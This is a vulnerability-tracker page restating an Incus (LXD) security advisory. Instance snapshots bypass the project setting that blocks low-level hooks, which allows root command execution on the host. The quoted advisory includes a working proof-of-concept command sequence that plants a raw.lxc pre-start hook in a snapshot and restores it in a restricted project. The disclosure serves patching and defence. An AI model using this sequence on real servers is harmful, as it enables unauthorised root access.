Track vulnerabilities like this one. Sign up free to get alerted when software you use is affected.
9.9

Incus lets attackers run commands despite project restrictions

published 15 days ago
Summary

Incus (the container manager formerly known as LXD) can ignore a safety setting meant to block low-level container hooks when snapshots are moved between projects. This means a malicious user could craft a snapshot that runs any command on the host with full privileges, even in a restricted project. Apply the latest security update from the vendor and avoid moving untrusted snapshots into restricted projects.

What to do
  • Update github.com canonical to version 0.0.0-20260630083100-c5184be310b1.
Affected software
Ecosystem VendorProductAffected versions
go github.com canonical < 0.0.0-20260630083100-c5184be310b1
Fix: upgrade to 0.0.0-20260630083100-c5184be310b1
Original advisory text
LXD has restricted project bypass leading to arbitrary command execution
Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv

### Summary

Instance snapshots ignore the `restricted.containers.lowlevel=block` setting;
allowing for arbitrary command execution on the Incus server by abusing
lowlevel hooks such as `raw.lxc` and `raw.qemu`.


### Details

Instance snapshots ignore the `restricted.containers.lowlevel=block` setting;
allowing for arbitrary command execution on the Incus server by abusing
lowlevel hooks such as `raw.lxc` and `raw.qemu`.

As snapshots can be moved from one server to another, a malicious
instance+snapshot can be crafted locally, moved to a restricted project
and the snapshot restored for arbitrary command execution.

In practice, this allows a malicious actor to execute arbitrary commands
on the host with root privileges.


### PoC

```
# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block

# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc

# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc
```


### Impact

- Bypass of project restrictions.
- Arbitrary command execution on the Incus server.
Fix within
Internet-facing 14 days
Internal At next upgrade
  • Not known to be exploited
  • Needs hands-on effort to exploit (estimated)
  • Gives an attacker full control (estimated)
Severity
9.9 Critical
Type
CWE-862Missing Authorization
Timeline
Published6 Nov 2026
Updated6 Nov 2026
First seen6 Nov 2026
Sources
Track software like this
Free during beta